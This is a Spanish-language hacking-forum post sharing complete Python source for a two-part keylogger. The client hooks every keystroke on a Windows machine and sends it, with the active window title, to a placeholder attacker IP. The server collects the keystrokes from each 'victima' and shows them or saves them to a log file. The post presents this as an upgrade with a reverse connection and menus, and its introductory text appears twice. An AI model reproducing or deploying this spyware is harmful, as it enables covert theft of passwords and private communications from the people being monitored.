Lun Mar 18, 2013 12:25 pm
Hola a todos! Despues de dos dias, aqui vengo a dejar una mejora del keylogger con algunos cambio y algunas opciones agregadas.
Primero que nada cambie la forma de conexion, haciendolo de conexion inversa. Siendo la victima quien se conecte a nosotros y no tener que poner la IP para conectarse.
Agregue un menu para hacerlo mas vistoso, poniendole algunas opciones basicas. Y tambien agregue la posibilidad de ver la captura del teclado desde la terminal o tambien ir guardandolo es un archivo plano.
Tambien habia agregados hilos en el servidor para poder ir captando las teclas que recibe y tener la posibilidad de alguna forma de poder cancelar el enlace, pero quite los hilos y lo solucione con la funcion fork() que crea procesos hijos. Con lo cual pude obtener lo que deseaba.
Y si no me olvido de nada mas, como ultimo y se ve en el video, ademas de capturar las teclas tambien envia las ventanas en que son presionada las teclas. :)
Codigos:
Servidor:
Cliente:
NOTA: Si ven en el cliente van a necesitar poner la ip a la que se tiene que conectar.
NOTA 2: En el servidor, cuando se conecta una victima y yo imprimo avisando lo ocurrido como comentario puse 'sc.getpeername()', si ustedes ponen que se imprima eso, van a obtener los datos de la victima que se conecto como la IP.
Video:
Saludos
Primero que nada cambie la forma de conexion, haciendolo de conexion inversa. Siendo la victima quien se conecte a nosotros y no tener que poner la IP para conectarse.
Agregue un menu para hacerlo mas vistoso, poniendole algunas opciones basicas. Y tambien agregue la posibilidad de ver la captura del teclado desde la terminal o tambien ir guardandolo es un archivo plano.
Tambien habia agregados hilos en el servidor para poder ir captando las teclas que recibe y tener la posibilidad de alguna forma de poder cancelar el enlace, pero quite los hilos y lo solucione con la funcion fork() que crea procesos hijos. Con lo cual pude obtener lo que deseaba.
Y si no me olvido de nada mas, como ultimo y se ve en el video, ademas de capturar las teclas tambien envia las ventanas en que son presionada las teclas. :)
Codigos:
Servidor:
- Código:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
##########################################
## ##
## Keylogger v1.1 ##
## By Expermicid ##
## Fecha inicio : 16/10/12 ##
## Fecha fin : 18/10/12 ##
## Servidor ##
## ##
##########################################
import socket
import os, sys
def ImprimirCabecera() :
print ' ####################################################'
print ' #### ####'
print ' #### Keylogger v1.1 --- By Expermicid ####'
print ' #### ####'
print ' ####################################################'
def CrearArchivo() :
archivo=open('Logs.txt','w')
archivo.close()
def EscribirArchivo(texto) :
archivo=open('Logs.txt','a')
archivo.write(texto)
archivo.close()
def Capturar(s, sc, opc2) :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### CAPTANDO TECLAS ####'
print ' ####################################################\n'
print '--------------------------------------------------------------------------------\n'
if opc2 == '3' :
CrearArchivo()
EscribirArchivo('Logs de Keylogger v1.1 --- By Expermicid\n')
texto = ''
nombreWindows = ''
while True :
try :
recibido = sc.recv(1024)
except :
pass
else :
if len(recibido) > 0 :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### CAPTANDO TECLAS ####'
print ' ####################################################\n'
print '--------------------------------------------------------------------------------\n'
if recibido[0] == ':' :
letra = ':'
window = recibido[2:]
else :
letra = recibido.split(':')[0]
window = recibido.split(':')[1]
if opc2 == '1' :
if window != nombreWindows :
texto += '\n\n***' + window + '***\n\n'
nombreWindows = window
texto += letra
print texto
elif opc2 == '2' :
if window != nombreWindows :
EscribirArchivo('\n\n***' + window + '***\n\n')
nombreWindows = window
EscribirArchivo(letra)
elif opc2 == '3' :
if window != nombreWindows :
texto += '\n\n***' + window + '***\n\n'
EscribirArchivo('\n\n***' + window + '***\n\n')
nombreWindows = window
texto += letra
print texto
EscribirArchivo(letra)
def Desconectar(s, sc) :
while True :
comando = raw_input()
if comando == 'Q' or comando == 'q' :
sc.close()
s.close()
break
Main()
def Main() :
opc1 = ''
while opc1 != '1' and opc1 != '2' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### MENU ####'
print ' ####################################################'
print ' #### 1) ver si hay victimas conectadas ####'
print ' #### 2) salir ####'
print ' ####################################################\n'
opc1 = raw_input('>>> ')
if opc1 == '2' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### DESPEDIDA ####'
print ' ####################################################'
print ' #### Gracias por usar mi keylogger ####'
print ' #### Saludos, Expermicid ####'
print ' ####################################################\n'
raw_input()
elif opc1 == '1' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### ESPERANDO VICTIMA ####'
print ' ####################################################\n'
host = ''
port = 5000
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
sc, addr = s.accept()
except :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### CONFLICTO ####'
print ' ####################################################'
print ' #### Ocurrio algun problema :( ####'
print ' ####################################################\n'
raw_input()
else :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### VICTIMA ####'
print ' ####################################################\n'
print 'Se conecto una victima :)' #sc.getpeername()
raw_input()
opc2 = ''
while opc2 != '1' and opc2 != '2' and opc2 != '3' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### CONEXION CORRECTA :) ####'
print ' ####################################################'
print ' #### OPCIONES ####'
print ' ####################################################'
print ' #### 1) ver teclas en consola ####'
print ' #### 2) guardar teclas en archivo ####'
print ' #### 3) ver en consola y guardar en archivo ####'
print ' ####################################################\n'
opc2 = raw_input('>>> ')
child_pid = os.fork()
if child_pid == 0 :
Capturar(s,sc,opc2)
else :
Desconectar(s,sc)
return
Main()
Cliente:
- Código:
# -*- coding: cp1252 -*-
##########################################
## ##
## Keylogger v1.1 ##
## By Expermicid ##
## Fecha inicio : 16/10/12 ##
## Fecha fin : 18/10/12 ##
## Cliente ##
## ##
##########################################
import socket
import pythoncom, pyHook
def OnKeyboardEvent(event) :
# letras minusculas y letras mayusculas
if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) :
letra = chr(event.Ascii)
# numeros
elif event.Ascii > 47 and event.Ascii < 58 :
letra = chr(event.Ascii)
# F1 .. F12
elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 :
letra = ' ['+event.Key+'] '
# Espacio
elif event.Ascii == 32 :
letra = chr(event.Ascii)
# Enter
elif event.Ascii == 13 :
letra = '\n'
# BackSpace
elif event.Ascii == 8 :
letra = '[BackSpace]'
# Escape
elif event.Ascii == 27 :
letra = '[Escape]'
# Tab
elif event.Ascii == 9 :
letra = chr(event.Ascii)
# Flechas
elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 :
letra = '['+event.Key+']'
# Bloq Mayus
elif event.KeyID == 20 and event.Ascii == 0 :
letra = '[BloqMayus]'
# caracteres
elif event.Ascii > 32 and event.Ascii < 48 :
letra = chr(event.Ascii)
# caracteres
elif event.Ascii > 57 and event.Ascii < 65 :
letra = chr(event.Ascii)
# caracteres
elif event.Ascii > 90 and event.Ascii < 97 :
letra = chr(event.Ascii)
# caracteres
elif event.Ascii > 122 and event.Ascii < 127 :
letra = chr(event.Ascii)
# Insetar / Delete
elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 :
letra = ' ['+event.Key+'] '
# ascii extendido
elif event.Ascii > 127 and event.Ascii < 255 :
letra = chr(event.Ascii)
# Flechas
elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 :
letra = '['+event.Key+']'
# Win / Apps
elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 :
letra = '['+event.Key+']'
# Inicio-Fin / RePag-AvPag
elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 :
letra = '['+event.Key+']'
# caracter Ž
elif event.KeyID == 222 and event.Ascii == 0 :
letra = '´'
try :
s.send(letra+':'+event.WindowName)
except :
pass
return True
try:
host = 'Ip_a_Conectar' # sustituir Ip_a_Conectar por la que corresponda
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
except :
pass
else:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
NOTA: Si ven en el cliente van a necesitar poner la ip a la que se tiene que conectar.
NOTA 2: En el servidor, cuando se conecta una victima y yo imprimo avisando lo ocurrido como comentario puse 'sc.getpeername()', si ustedes ponen que se imprima eso, van a obtener los datos de la victima que se conecto como la IP.
Video:
Saludos